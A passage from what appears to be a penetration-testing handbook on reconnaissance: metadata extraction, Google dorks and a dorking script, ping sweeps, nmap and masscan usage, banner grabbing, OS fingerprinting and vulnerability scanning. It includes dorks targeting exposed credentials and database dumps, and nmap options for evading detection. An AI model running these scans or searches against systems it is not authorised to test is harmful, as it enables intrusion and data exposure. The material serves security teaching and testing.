            'modified': datetime.fromtimestamp(os.path.getmtime(filepath)).isoformat(),
            'created': datetime.fromtimestamp(os.path.getctime(filepath)).isoformat()
        }
        
        # Extract based on file type
        if ext in ['.jpg', '.jpeg', '.png', '.gif', '.tiff']:
            metadata.update(self.extract_with_exiftool(filepath))
            
            # Extract GPS if available
            if 'GPSLatitude' in metadata:
                print(f"  [!] GPS found in {filepath}")
                
        elif ext == '.pdf':
            metadata.update(self.extract_pdf_metadata(filepath))
            metadata.update(self.extract_with_exiftool(filepath))
            
        elif ext in ['.doc', '.docx', '.xls', '.xlsx', '.ppt', '.pptx']:
            metadata.update(self.extract_doc_metadata(filepath))
            
            # Look for author info
            if 'Author' in metadata:
                print(f"  [!] Author: {metadata['Author']} in {filepath}")
        
        return metadata
    
    def scan_directory(self):
        """Scan directory for files"""
        sensitive_findings = []
        
        for root, dirs, files in os.walk(self.target_dir):
            for file in files:
                filepath = os.path.join(root, file)
                print(f"[*] Analyzing: {filepath}")
                
                metadata = self.analyze_file(filepath)
                self.results[filepath] = metadata
                
                # Check for sensitive metadata
                sensitive = self.check_sensitive_metadata(metadata)
                if sensitive:
                    sensitive_findings.append({
                        'file': filepath,
                        'findings': sensitive
                    })
        
        return sensitive_findings
    
    def check_sensitive_metadata(self, metadata):
        """Check for sensitive metadata"""
        sensitive = []
        
        sensitive_fields = [
            'Author', 'Creator', 'Producer', 'LastModifiedBy',
            'Company', 'Manager', 'User', 'GPSLatitude', 'GPSLongitude',
            'Email', 'Phone', 'Address', 'URL'
        ]
        
        for field in sensitive_fields:
            if field in metadata and metadata[field]:
                sensitive.append({
                    'field': field,
                    'value': metadata[field]
                })
        
        return sensitive
    
    def save_results(self, filename):
        """Save results to file"""
        with open(filename, 'w') as f:
            json.dump(self.results, f, indent=2, default=str)
        
        # Also save sensitive findings separately
        sensitive = {}
        for filepath, metadata in self.results.items():
            findings = self.check_sensitive_metadata(metadata)
            if findings:
                sensitive[filepath] = findings
        
        if sensitive:
            sens_file = filename.replace('.json', '_sensitive.json')
            with open(sens_file, 'w') as f:
                json.dump(sensitive, f, indent=2, default=str)
            print(f"\n[!] Sensitive findings saved to {sens_file}")
        
        print(f"\n[+] Results saved to {filename}")

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("Usage: metadata_extractor.py <directory> [output_file]")
        sys.exit(1)
    
    target_dir = sys.argv[1]
    output = sys.argv[2] if len(sys.argv) > 2 else f"metadata_{datetime.now().strftime('%Y%m%d_%H%M%S')}.json"
    
    extractor = MetadataExtractor(target_dir)
    print(f"[+] Scanning directory: {target_dir}")
    
    sensitive = extractor.scan_directory()
    
    if sensitive:
        print(f"\n[!] Found {len(sensitive)} files with sensitive metadata")
        for item in sensitive:
            print(f"  {item['file']}")
            for finding in item['findings']:
                print(f"    - {finding['field']}: {finding['value']}")
    else:
        print("\n[+] No sensitive metadata found")
    
    extractor.save_results(output)

8.7.2 Document Metadata Tools

FOCA (Fingerprinting Organizations with Collected Archives):

  • Windows tool for metadata analysis
  • Extracts metadata from Office documents, PDFs, and more
  • Can search for documents on websites

Metagoofil:

# Install metagoofil
apt install metagoofil

# Search and download documents from a domain
metagoofil -d example.com -t pdf,doc,xls -l 100 -o results

# Extract metadata from downloaded documents
metagoofil -d example.com -t pdf -l 50 -n 10 -o output -f results.html

8.8 Google Dorking

Google Dorking (Google hacking) uses advanced search operators to find sensitive information indexed by search engines.

8.8.1 Google Search Operators

Basic Operators:

# Site-specific search
site:example.com

# Exact phrase
"exact phrase"

# File type
filetype:pdf
ext:docx

# Title search
intitle:"index of"
allintitle:login admin

# URL search
inurl:admin
allinurl:wp-admin

# Text in body
intext:"password"
intext:"confidential"

# Related sites
related:example.com

# Cache
cache:example.com

# Link to site
link:example.com

# Define term
define:phishing

Advanced Combinations:

# Find login pages
site:example.com inurl:login | inurl:admin

# Find exposed directories
intitle:"index of" site:example.com

# Find configuration files
site:example.com filetype:xml | filetype:conf | filetype:config

# Find database dumps
site:example.com filetype:sql "INSERT INTO"

# Find backup files
site:example.com ext:bak | ext:old | ext:backup

# Find exposed documents
site:example.com ext:pdf | ext:doc | ext:xls confidential

# Find error messages
site:example.com "Fatal error" | "Warning" | "Parse error"

# Find login credentials
site:example.com intext:"username" intext:"password"

# Find network devices
intitle:"Cisco Switch" | "HP LaserJet" | "Dell DRAC"

# Find webcams
inurl:view/view.shtml
intitle:"Live View / - AXIS"

8.8.2 Google Dorking Automation

#!/usr/bin/env python3
# google_dorking.py

import requests
import time
import sys
import urllib.parse
from bs4 import BeautifulSoup

class GoogleDorker:
    def __init__(self, domain):
        self.domain = domain
        self.results = {}
        self.headers = {
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
        }
        
    def build_query(self, operator, term):
        """Build Google search query"""
        if operator == 'site':
            return f"site:{self.domain} {term}"
        elif operator == 'filetype':
            return f"site:{self.domain} filetype:{term}"
        elif operator == 'intitle':
            return f"site:{self.domain} intitle:{term}"
        elif operator == 'inurl':
            return f"site:{self.domain} inurl:{term}"
        elif operator == 'intext':
            return f"site:{self.domain} intext:{term}"
        else:
            return f"site:{self.domain} {term}"
    
    def search(self, query, pages=3):
        """Perform Google search (simplified)"""
        all_results = []
        
        for page in range(pages):
            start = page * 10
            url = f"https://www.google.com/search?q={urllib.parse.quote(query)}&start={start}"
            
            try:
                response = requests.get(url, headers=self.headers, timeout=5)
                if response.status_code == 200:
                    soup = BeautifulSoup(response.text, 'html.parser')
                    
                    # Extract search results (simplified)
                    for result in soup.find_all('div', class_='g'):
                        link = result.find('a')
                        if link and 'href' in link.attrs:
                            href = link['href']
                            if '/url?q=' in href:
                                url = href.split('/url?q=')[1].split('&')[0]
                                title = result.find('h3')
                                title_text = title.text if title else 'No title'
                                
                                all_results.append({
                                    'url': url,
                                    'title': title_text
                                })
                
                time.sleep(2)  # Be respectful
                
            except Exception as e:
                print(f"Error on page {page}: {e}")
        
        return all_results
    
    def run_dorks(self, dorks):
        """Run multiple dorks"""
        for category, dork_list in dorks.items():
            print(f"\n[+] Running {category} dorks")
            self.results[category] = []
            
            for dork in dork_list:
                query = self.build_query(dork.get('operator', ''), dork.get('term', ''))
                print(f"  Query: {query}")
                
                results = self.search(query, pages=2)
                if results:
                    self.results[category].extend(results)
                    for r in results[:3]:  # Show first 3
                        print(f"    Found: {r['url']}")
    
    def save_results(self, filename):
        """Save results to file"""
        import json
        with open(filename, 'w') as f:
            json.dump(self.results, f, indent=2)
        print(f"\n[+] Results saved to {filename}")

# Predefined dorks
DORKS = {
    'login_pages': [
        {'operator': 'inurl', 'term': 'login'},
        {'operator': 'inurl', 'term': 'admin'},
        {'operator': 'intitle', 'term': 'login'},
        {'operator': 'inurl', 'term': 'signin'},
    ],
    'config_files': [
        {'operator': 'filetype', 'term': 'conf'},
        {'operator': 'filetype', 'term': 'config'},
        {'operator': 'filetype', 'term': 'ini'},
        {'operator': 'filetype', 'term': 'xml'},
    ],
    'backup_files': [
        {'operator': 'filetype', 'term': 'bak'},
        {'operator': 'filetype', 'term': 'backup'},
        {'operator': 'filetype', 'term': 'old'},
        {'operator': 'ext', 'term': 'swp'},
    ],
    'documents': [
        {'operator': 'filetype', 'term': 'pdf'},
        {'operator': 'filetype', 'term': 'doc'},
        {'operator': 'filetype', 'term': 'xls'},
        {'operator': 'filetype', 'term': 'ppt'},
    ],
    'directories': [
        {'operator': 'intitle', 'term': '"index of"'},
        {'operator': 'inurl', 'term': 'wp-content'},
        {'operator': 'inurl', 'term': 'uploads'},
    ],
    'error_messages': [
        {'operator': 'intext', 'term': '"Fatal error"'},
        {'operator': 'intext', 'term': '"Warning"'},
        {'operator': 'intext', 'term': '"Parse error"'},
    ],
    'credentials': [
        {'operator': 'intext', 'term': '"username" "password"'},
        {'operator': 'intext', 'term': '"database password"'},
        {'operator': 'filetype', 'term': 'sql "INSERT INTO"'},
    ]
}

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("Usage: google_dorking.py <domain> [output_file]")
        sys.exit(1)
    
    domain = sys.argv[1]
    output = sys.argv[2] if len(sys.argv) > 2 else f"{domain}_dorks.json"
    
    dorker = GoogleDorker(domain)
    print(f"[+] Starting Google dorking for {domain}")
    
    dorker.run_dorks(DORKS)
    dorker.save_results(output)

8.8.3 Google Dorking Tools

GoogDork:

# Install GoogDork
git clone https://github.com/Zarcolio/googdork.git
cd googdork
pip install -r requirements.txt

# Run search
python googdork.py -d example.com -s

# Use custom dorks file
python googdork.py -d example.com -l dorks.txt

Pagodo:

# Install pagodo
git clone https://github.com/opsdisk/pagodo.git
cd pagodo
pip install -r requirements.txt

# Run with dork list
python pagodo.py -g google_dorks.txt -d example.com -l 50 -s -e 35.0

Ghdb (Google Hacking Database):


Chapter 9 — Active Reconnaissance

Active reconnaissance involves directly interacting with target systems to gather information. Unlike passive reconnaissance, active techniques can be detected and logged, but they provide more detailed and current information.

9.1 Network Discovery

Network discovery identifies live hosts and network topology.

9.1.1 Ping Sweeps

ICMP Echo Requests:

#!/usr/bin/env python3
# ping_sweep.py

import subprocess
import sys
import ipaddress
from concurrent.futures import ThreadPoolExecutor
import time

class PingSweep:
    def __init__(self, network, threads=50, timeout=1):
        self.network = ipaddress.ip_network(network, strict=False)
        self.threads = threads
        self.timeout = timeout
        self.alive_hosts = []
        
    def ping_host(self, ip):
        """Ping a single host"""
        try:
            # Use ping command
            result = subprocess.run(
                ['ping', '-c', '1', '-W', str(self.timeout), str(ip)],
                stdout=subprocess.DEVNULL,
                stderr=subprocess.DEVNULL
            )
            if result.returncode == 0:
                print(f"  Host {ip} is alive")
                return str(ip)
        except:
            pass
        return None
    
    def scan(self):
        """Scan network"""
        total_hosts = self.network.num_addresses - 2  # Exclude network and broadcast
        print(f"[+] Scanning {self.network} ({total_hosts} hosts)")
        
        start_time = time.time()
        
        with ThreadPoolExecutor(max_workers=self.threads) as executor:
            # Submit all ping jobs
            futures = []
            for ip in self.network.hosts():  # Excludes network and broadcast
                future = executor.submit(self.ping_host, ip)
                futures.append(future)
            
            # Collect results
            for future in futures:
                result = future.result()
                if result:
                    self.alive_hosts.append(result)
        
        elapsed = time.time() - start_time
        print(f"\n[+] Found {len(self.alive_hosts)} alive hosts in {elapsed:.1f} seconds")
        return self.alive_hosts
    
    def arp_scan(self, interface):
        """ARP scan for local network (more reliable)"""
        print(f"[+] Performing ARP scan on {interface}")
        
        try:
            result = subprocess.run(
                ['arp-scan', '--local', '--interface', interface],
                capture_output=True,
                text=True
            )
            
            hosts = []
            for line in result.stdout.split('\n'):
                if '\t' in line:
                    parts = line.split('\t')
                    if len(parts) >= 2:
                        ip = parts[0]
                        mac = parts[1]
                        hosts.append({'ip': ip, 'mac': mac})
                        print(f"  Found: {ip} - {mac}")
            
            return hosts
        except Exception as e:
            print(f"Error running arp-scan: {e}")
            return []
    
    def save_results(self, filename):
        """Save results to file"""
        with open(filename, 'w') as f:
            for host in self.alive_hosts:
                f.write(f"{host}\n")
        print(f"[+] Results saved to {filename}")

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("Usage: ping_sweep.py <network> [threads]")
        print("Example: ping_sweep.py 192.168.1.0/24 100")
        sys.exit(1)
    
    network = sys.argv[1]
    threads = int(sys.argv[2]) if len(sys.argv) > 2 else 50
    
    scanner = PingSweep(network, threads)
    scanner.scan()
    scanner.save_results(f"alive_hosts_{network.replace('/', '_')}.txt")

Using fping:

# Install fping
apt install fping

# Ping sweep
fping -a -g 192.168.1.0/24 2>/dev/null

# With custom timeout
fping -a -g -t 100 192.168.1.0/24

# Read targets from file
fping -f targets.txt

Using nmap for ping sweep:

# ICMP echo scan
nmap -sn 192.168.1.0/24

# TCP SYN ping (port 80)
nmap -sn -PS80 192.168.1.0/24

# TCP ACK ping (port 80)
nmap -sn -PA80 192.168.1.0/24

# UDP ping (port 53)
nmap -sn -PU53 192.168.1.0/24

# ARP scan (local network only)
nmap -sn -PR 192.168.1.0/24

# Combine methods
nmap -sn -PS80 -PA80 -PU53 192.168.1.0/24

9.1.2 Network Topology Discovery

Traceroute:

# Standard traceroute
traceroute example.com

# ICMP traceroute
traceroute -I example.com

# TCP traceroute
traceroute -T -p 80 example.com

# UDP traceroute (default)
traceroute -U example.com

# With specific source IP
traceroute -s 192.168.1.100 example.com

# Using tcptraceroute
tcptraceroute example.com 80

Path Analysis with mtr:

# Interactive MTR
mtr example.com

# Report mode (non-interactive)
mtr -r -c 100 example.com

# TCP mode
mtr -T -P 80 example.com

# ICMP mode
mtr -I example.com

# Save report
mtr -r -c 100 example.com > mtr_report.txt

9.2 Port Scanning

Port scanning identifies open ports and running services on target systems.

9.2.1 Nmap Mastery

Nmap Scan Types:

# TCP SYN scan (default, requires root)
nmap -sS 192.168.1.100

# TCP connect scan (no root required)
nmap -sT 192.168.1.100

# UDP scan
nmap -sU 192.168.1.100

# TCP ACK scan (map firewall rules)
nmap -sA 192.168.1.100

# TCP Window scan
nmap -sW 192.168.1.100

# TCP Maimon scan
nmap -sM 192.168.1.100

# FIN scan
nmap -sF 192.168.1.100

# Xmas scan
nmap -sX 192.168.1.100

# Null scan
nmap -sN 192.168.1.100

# IP protocol scan
nmap -sO 192.168.1.100

Nmap Port Specification:

# Single port
nmap -p 80 192.168.1.100

# Multiple ports
nmap -p 80,443,22 192.168.1.100

# Range
nmap -p 1-1000 192.168.1.100

# All ports
nmap -p- 192.168.1.100

# Top ports
nmap --top-ports 100 192.168.1.100

# Fast scan (top 100 ports)
nmap -F 192.168.1.100

# Service and version detection
nmap -sV 192.168.1.100

# Aggressive service detection
nmap -sV --version-intensity 9 192.168.1.100

# Light version detection
nmap -sV --version-intensity 0 192.168.1.100

Nmap Timing Templates:

# Paranoid (IDS evasion)
nmap -T0 192.168.1.100

# Sneaky
nmap -T1 192.168.1.100

# Polite
nmap -T2 192.168.1.100

# Normal (default)
nmap -T3 192.168.1.100

# Aggressive
nmap -T4 192.168.1.100

# Insane (very fast, may miss ports)
nmap -T5 192.168.1.100

Nmap Output Formats:

# Normal output
nmap -oN scan.txt 192.168.1.100

# XML output
nmap -oX scan.xml 192.168.1.100

# Grepable output
nmap -oG scan.gnmap 192.168.1.100

# All formats
nmap -oA scan 192.168.1.100

# Convert XML to HTML
xsltproc scan.xml -o scan.html

Advanced Nmap Scripts:

# Run default scripts
nmap -sC 192.168.1.100

# Run specific script
nmap --script http-enum 192.168.1.100

# Run script category
nmap --script vuln 192.168.1.100

# Run multiple scripts
nmap --script http-*,ssl-* 192.168.1.100

# Script arguments
nmap --script http-brute --script-args userdb=users.txt,passdb=pass.txt 192.168.1.100

# Update script database
nmap --script-updatedb

Nmap Script Categories:

  • auth: Authentication credentials
  • broadcast: Broadcast discovery
  • brute: Brute force attacks
  • default: Default scripts (-sC)
  • discovery: Service discovery
  • dos: Denial of service
  • exploit: Exploit vulnerabilities
  • external: External services
  • fuzzer: Fuzzing
  • intrusive: May crash services
  • malware: Malware detection
  • safe: Unlikely to harm
  • version: Version detection
  • vuln: Vulnerability detection

Nmap Firewall Evasion:

# Fragment packets
nmap -f 192.168.1.100

# Specify MTU
nmap --mtu 32 192.168.1.100

# Decoy scans
nmap -D RND:10,ME 192.168.1.100

# Idle scan (zombie)
nmap -sI zombie_host 192.168.1.100

# Spoof source IP
nmap -S 192.168.2.200 -e eth0 192.168.1.100

# Source port
nmap --source-port 53 192.168.1.100

# Randomize host order
nmap --randomize-hosts 192.168.1.0/24

# MAC address spoofing
nmap --spoof-mac Cisco 192.168.1.100

# Bad checksum
nmap --badsum 192.168.1.100

9.2.2 Masscan for High-Speed Scanning

Masscan can scan the entire internet in minutes, but must be used responsibly.

# Install masscan
apt install masscan

# Basic scan
masscan 192.168.1.0/24 -p80

# Scan with rate limit
masscan 192.168.1.0/24 -p80 --rate=1000

# Multiple ports
masscan 192.168.1.0/24 -p80,443,22

# Port range
masscan 192.168.1.0/24 -p1-1000

# All ports
masscan 192.168.1.0/24 -p0-65535

# Output formats
masscan 192.168.1.0/24 -p80 -oJ scan.json
masscan 192.168.1.0/24 -p80 -oL scan.txt
masscan 192.168.1.0/24 -p80 -oB scan.bin

# Exclude targets
masscan 192.168.1.0/24 -p80 --exclude 192.168.1.100

# Specific interface
masscan 192.168.1.0/24 -p80 -e eth0

# Scan with banner grabbing
masscan 192.168.1.0/24 -p80 --banners

# Convert masscan to nmap format
masscan --readscan scan.bin -oG scan.gnmap

Python Masscan Wrapper:

#!/usr/bin/env python3
# masscan_wrapper.py

import subprocess
import json
import sys
import ipaddress

class MasscanWrapper:
    def __init__(self, rate=1000):
        self.rate = rate
        self.results = []
        
    def scan(self, target, ports, interface=None):
        """Run masscan scan"""
        cmd = ['masscan', target, '-p', ports, '--rate', str(self.rate), '-oJ', '-']
        
        if interface:
            cmd.extend(['-e', interface])
        
        try:
            result = subprocess.run(cmd, capture_output=True, text=True)
            if result.returncode == 0:
                # Parse JSON output
                data = json.loads(result.stdout)
                self.results = data
                return data
        except Exception as e:
            print(f"Error running masscan: {e}")
            return None
    
    def scan_network(self, network, ports, exclude=None):
        """Scan entire network"""
        cmd = ['masscan', network, '-p', ports, '--rate', str(self.rate), '-oJ', '-']
        
        if exclude:
            cmd.extend(['--exclude', exclude])
        
        try:
            result = subprocess.run(cmd, capture_output=True, text=True)
            if result.returncode == 0:
                data = json.loads(result.stdout)
                self.results = data
                return data
        except Exception as e:
            print(f"Error: {e}")
            return None
    
    def get_open_ports(self):
        """Extract open ports from results"""
        ports = []
        if self.results:
            for host in self.results:
                for port_info in host.get('ports', []):
                    ports.append({
                        'ip': host['ip'],
                        'port': port_info['port'],
                        'protocol': port_info['proto']
                    })
        return ports
    
    def export_nmap_format(self, filename):
        """Export results in nmap grepable format"""
        with open(filename, 'w') as f:
            for host in self.results:
                ip = host['ip']
                ports = ','.join([f"{p['port']}/{p['proto']}" for p in host.get('ports', [])])
                f.write(f"Host: {ip} () Ports: {ports}\n")

if __name__ == "__main__":
    if len(sys.argv) < 3:
        print("Usage: masscan_wrapper.py <target> <ports> [rate]")
        print("Example: masscan_wrapper.py 192.168.1.0/24 80,443,22 1000")
        sys.exit(1)
    
    target = sys.argv[1]
    ports = sys.argv[2]
    rate = int(sys.argv[3]) if len(sys.argv) > 3 else 1000
    
    scanner = MasscanWrapper(rate)
    results = scanner.scan(target, ports)
    
    if results:
        open_ports = scanner.get_open_ports()
        print(f"\n[+] Found {len(open_ports)} open ports:")
        for port in open_ports:
            print(f"  {port['ip']}:{port['port']}/{port['protocol']}")
        
        scanner.export_nmap_format(f"masscan_{target.replace('/', '_')}.gnmap")

9.3 Service Detection

Identifying services and their versions is crucial for vulnerability assessment.

9.3.1 Banner Grabbing

Manual Banner Grabbing:

# Using netcat
nc -nv 192.168.1.100 80
HEAD / HTTP/1.0
[Enter twice]

# Using telnet
telnet 192.168.1.100 80
HEAD / HTTP/1.0
[Enter twice]

# Using openssl for HTTPS
openssl s_client -connect 192.168.1.100:443 -quiet
HEAD / HTTP/1.0
[Enter twice]

# Using curl
curl -I http://192.168.1.100
curl -I https://192.168.1.100

# Using wget
wget -S --spider http://192.168.1.100

Automated Banner Grabbing:

#!/usr/bin/env python3
# banner_grabber.py

import socket
import ssl
import sys
import concurrent.futures

class BannerGrabber:
    def __init__(self, timeout=5):
        self.timeout = timeout
        
    def grab_tcp_banner(self, ip, port):
        """Grab banner from TCP port"""
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.settimeout(self.timeout)
            sock.connect((ip, port))
            
            # Send probe based on port
            if port == 80:
                sock.send(b"HEAD / HTTP/1.0\r\n\r\n")
            elif port == 21:
                banner = sock.recv(1024).decode('utf-8', errors='ignore')
                sock.close()
                return banner.strip()
            elif port == 25:
                banner = sock.recv(1024).decode('utf-8', errors='ignore')
                sock.close()
                return banner.strip()
            elif port == 22:
                banner = sock.recv(1024).decode('utf-8', errors='ignore')
                sock.close()
                return banner.strip()
            else:
                # Generic probe
                sock.send(b"\r\n")
            
            # Receive banner
            banner = sock.recv(1024).decode('utf-8', errors='ignore')
            sock.close()
            return banner.strip()
            
        except Exception as e:
            return None
    
    def grab_ssl_banner(self, ip, port):
        """Grab banner from SSL/TLS port"""
        try:
            context = ssl.create_default_context()
            context.check_hostname = False
            context.verify_mode = ssl.CERT_NONE
            
            with socket.create_connection((ip, port), timeout=self.timeout) as sock:
                with context.wrap_socket(sock, server_hostname=ip) as ssock:
                    # Get certificate info
                    cert = ssock.getpeercert()
                    
                    # Send HTTP request if it's HTTPS
                    if port == 443:
                        ssock.send(b"HEAD / HTTP/1.0\r\n\r\n")
                        banner = ssock.recv(1024).decode('utf-8', errors='ignore')
                        return banner.strip()
                    
                    return str(cert)
        except Exception as e:
            return None
    
    def grab_banner(self, ip, port):
        """Grab banner based on port"""
        if port in [443, 8443, 465, 993, 995]:
            return self.grab_ssl_banner(ip, port)
        else:
            return self.grab_tcp_banner(ip, port)
    
    def scan_ports(self, ip, ports):
        """Grab banners from multiple ports"""
        results = []
        
        with concurrent.futures.ThreadPoolExecutor(max_workers=10) as executor:
            future_to_port = {executor.submit(self.grab_banner, ip, port): port for port in ports}
            
            for future in concurrent.futures.as_completed(future_to_port):
                port = future_to_port[future]
                banner = future.result()
                if banner:
                    results.append((port, banner))
                    print(f"  Port {port}: {banner[:100]}...")
        
        return results

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("Usage: banner_grabber.py <ip> [port1,port2,...]")
        sys.exit(1)
    
    ip = sys.argv[1]
    
    if len(sys.argv) > 2:
        ports = [int(p) for p in sys.argv[2].split(',')]
    else:
        # Common ports
        ports = [21, 22, 23, 25, 80, 110, 111, 135, 139, 143, 443, 445, 
                 993, 995, 1723, 3306, 3389, 5900, 8080]
    
    grabber = BannerGrabber()
    print(f"[+] Grabbing banners from {ip}")
    results = grabber.scan_ports(ip, ports)
    
    print(f"\n[+] Found {len(results)} banners")

9.3.2 Nmap Service Detection

# Basic service detection
nmap -sV 192.168.1.100

# Light version detection
nmap -sV --version-intensity 0 192.168.1.100

# Aggressive version detection
nmap -sV --version-intensity 9 192.168.1.100

# Version detection with default scripts
nmap -sV -sC 192.168.1.100

# Version detection on specific ports
nmap -sV -p 80,443,22 192.168.1.100

# Version detection with OS fingerprinting
nmap -sV -O 192.168.1.100

# Version detection all ports
nmap -sV -p- 192.168.1.100

# Version detection with traceroute
nmap -sV --traceroute 192.168.1.100

# Version detection with timing template
nmap -sV -T4 192.168.1.100

9.4 OS Fingerprinting

Identifying the operating system helps tailor exploitation attempts.

9.4.1 Active OS Fingerprinting

Nmap OS Fingerprinting:

# Basic OS detection
nmap -O 192.168.1.100

# OS detection with version detection
nmap -O -sV 192.168.1.100

# Aggressive OS detection
nmap -O --osscan-guess 192.168.1.100

# Limit ports for OS detection
nmap -O --osscan-limit 192.168.1.100

# Max OS detection attempts
nmap -O --max-os-tries 3 192.168.1.100

# OS detection with verbosity
nmap -O -v 192.168.1.100

OS Fingerprinting with Xprobe2:

# Install xprobe2
apt install xprobe2

# Basic fingerprinting
xprobe2 192.168.1.100

# With specific ports
xprobe2 -p tcp:80:open 192.168.1.100

# Verbose mode
xprobe2 -v 192.168.1.100

# XML output
xprobe2 -o xml 192.168.1.100

Custom OS Fingerprinting:

#!/usr/bin/env python3
# os_fingerprint.py

from scapy.all import *
import sys

class OSFingerprinter:
    def __init__(self, target):
        self.target = target
        self.results = {}
        
    def ttl_fingerprint(self):
        """Fingerprint based on TTL values"""
        try:
            # Send ICMP packet
            packet = IP(dst=self.target)/ICMP()
            reply = sr1(packet, timeout=2, verbose=0)
            
            if reply:
                ttl = reply.ttl
                self.results['ttl'] = ttl
                
                # Guess OS based on TTL
                if ttl <= 64:
                    return "Linux/Unix (TTL <= 64)"
                elif ttl <= 128:
                    return "Windows (TTL <= 128)"
                elif ttl <= 255:
                    return "Network device (TTL <= 255)"
                else:
                    return f"Unknown (TTL: {ttl})"
        except:
            pass
        
        return "No ICMP response"
    
    def tcp_window_fingerprint(self):
        """Fingerprint based on TCP window size"""
        try:
            # Send SYN packet
            packet = IP(dst=self.target)/TCP(dport=80, flags='S')
            reply = sr1(packet, timeout=2, verbose=0)
            
            if reply and TCP in reply:
                window = reply[TCP].window
                ttl = reply.ttl
                
                self.results['tcp_window'] = window
                
                # Known window sizes
                if window == 5840 and ttl <= 64:
                    return "Linux 2.4/2.6"
                elif window == 8192:
                    return "Windows"
                elif window == 65535:
                    return "Solaris/AIX"
                elif window == 16384:
                    return "Windows 10/Server 2016"
                elif window == 29200:
                    return "Linux 3.x/4.x"
        except:
            pass
        
        return "Unknown"
    
    def tcp_options_fingerprint(self):
        """Fingerprint based on TCP options"""
        try:
            packet = IP(dst=self.target)/TCP(dport=80, flags='S')
            reply = sr1(packet, timeout=2, verbose=0)
            
            if reply and TCP in reply:
                options = reply[TCP].options
                self.results['tcp_options'] = options
                return str(options)
        except:
            pass
        
        return "No TCP options"
    
    def nmap_syn_scan(self):
        """Simulate nmap-style SYN scan fingerprinting"""
        results = []
        
        # Test different ports to see response patterns
        ports = [20, 21, 22, 23, 25, 53, 80, 443]
        
        for port in ports:
            packet = IP(dst=self.target)/TCP(dport=port, flags='S')
            reply = sr1(packet, timeout=1, verbose=0)
            
            if reply:
                if TCP in reply:
                    if reply[TCP].flags == 0x12:  # SYN-ACK
                        results.append(f"Port {port}: Open (SYN-ACK)")
                    elif reply[TCP].flags == 0x14:  # RST-ACK
                        results.append(f"Port {port}: Closed (RST-ACK)")
            else:
                # No response - could be filtered
                pass
        
        return results
    
    def fingerprint(self):
        """Perform comprehensive OS fingerprinting"""
        print(f"[+] Fingerprinting OS for {self.target}")
        
        # TTL fingerprinting
        ttl_os = self.ttl_fingerprint()
        print(f"  TTL analysis: {ttl_os}")
        
        # TCP window fingerprinting
        window_os = self.tcp_window_fingerprint()
        if window_os != "Unknown":
            print(f"  TCP window analysis: {window_os}")
        
        # TCP options
        options = self.tcp_options_fingerprint()
        print(f"  TCP options: {options}")
        
        # Port scan patterns
        patterns = self.nmap_syn_scan()
        if patterns:
            print("\n  Port response patterns:")
            for p in patterns[:5]:
                print(f"    {p}")
        
        return self.results

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("Usage: os_fingerprint.py <target>")
        sys.exit(1)
    
    target = sys.argv[1]
    fingerprinter = OSFingerprinter(target)
    fingerprinter.fingerprint()

9.5 Vulnerability Scanning

Vulnerability scanning identifies known weaknesses in target systems.

9.5.1 Nmap Vulnerability Scripts

# Run all vulnerability scripts
nmap --script vuln 192.168.1.100

# Specific vulnerability checks
nmap --script http-vuln* 192.168.1.100
nmap --script smb-vuln* 192.168.1.100
nmap --script ssl-* 192.168.1.100

# Check for heartbleed
nmap --script ssl-heartbleed -p 443 192.168.1.100

# Check for shellshock
nmap --script http-shellshock -p 80 192.168.1.100

# Check for eternalblue
nmap --script smb-vuln-ms17-010 -p 445 192.168.1.100

# Check for default credentials
nmap --script http-default-accounts 192.168.1.100

9.5.2 Comprehensive Vulnerability Scanning

#!/usr/bin/env python3
# vuln_scanner.py

import subprocess
import json
import sys
import os
from datetime import datetime

class VulnerabilityScanner:
    def __init__(self, target):
        self.target = target
        self.results = {
            'target': target,
            'timestamp': datetime.now().isoformat(),
            'nmap_vulns': [],
            'nikto_results': [],
            'wpscan_results': None
        }
        
    def run_nmap_vuln(self):
        """Run nmap vulnerability scripts"""
        print(f"[+] Running nmap vulnerability scan on {self.target}")
        
        output_file = f"nmap_vuln_{self.target}.xml"
        
        try:
            cmd = ['nmap', '-sV', '--script', 'vuln', '-oX', output_file, self.target]
            result = subprocess.run(cmd, capture_output=True, text=True)
            
            if result.returncode == 0:
                # Parse XML output
                import xml.etree.ElementTree as ET
                tree = ET.parse(output_file)
                root = tree.getroot()
                
                vulns = []
                for host in root.findall('host'):
                    for script in host.findall('.//script'):
                        vulns.append({
                            'id': script.get('id'),
                            'output': script.get('output')
                        })
                
                self.results['nmap_vulns'] = vulns
                print(f"  Found {len(vulns)} potential vulnerabilities")
                
        except Exception as e:
            print(f"  Error: {e}")
        
        return self.results['nmap_vulns']
    
    def run_nikto(self):
        """Run Nikto web scanner"""
        print(f"[+] Running Nikto scan on {self.target}")
        
        output_file = f"nikto_{self.target}.json"
        
        try:
            cmd = ['nikto', '-h', self.target, '-Format', 'json', '-o', output_file]
            result = subprocess.run(cmd, capture_output=True, text=True)
            
            if os.path.exists(output_file):
                with open(output_file, 'r') as f:
                    data = json.load(f)
                    self.results['nikto_results'] = data
                    print(f"  Nikto scan complete")
                    
        except Exception as e:
            print(f"  Error: {e}")
    
    def check_web_technologies(self):
        """Check web technologies with whatweb"""
        print(f"[+] Identifying web technologies")
        
        try:
            cmd = ['whatweb', '-a', '3', self.target]
            result = subprocess.run(cmd, capture_output=True, text=True)
            
            if result.returncode == 0:
                self.results['web_technologies'] = result.stdout.strip()
                print(f"  {result.stdout.strip()[:200]}...")
                
        except Exception as e:
            print(f"  Error: {e}")
    
    def check_ssl(self):
        """Check SSL/TLS configuration"""
        print(f"[+] Checking SSL/TLS")
        
        try:
            # Check with testssl.sh if available
            if os.path.exists('/usr/bin/testssl'):
                cmd = ['testssl', '--quiet', '--jsonfile', f"ssl_{self.target}.json", self.target]
                result = subprocess.run(cmd, capture_output=True, text=True)
                
        except Exception as e:
            print(f"  Error: {e}")
    
    def generate_report(self):
        """Generate vulnerability report"""
        print("\n" + "="*60)
        print(f"VULNERABILITY SCAN REPORT: {self.target}")
        print("="*60)
        
        if self.results['nmap_vulns']:
            print(f"\n[+] Nmap Vulnerabilities ({len(self.results['nmap_vulns'])}):")
            for vuln in self.results['nmap_vulns'][:10]:
                print(f"  - {vuln['id']}")
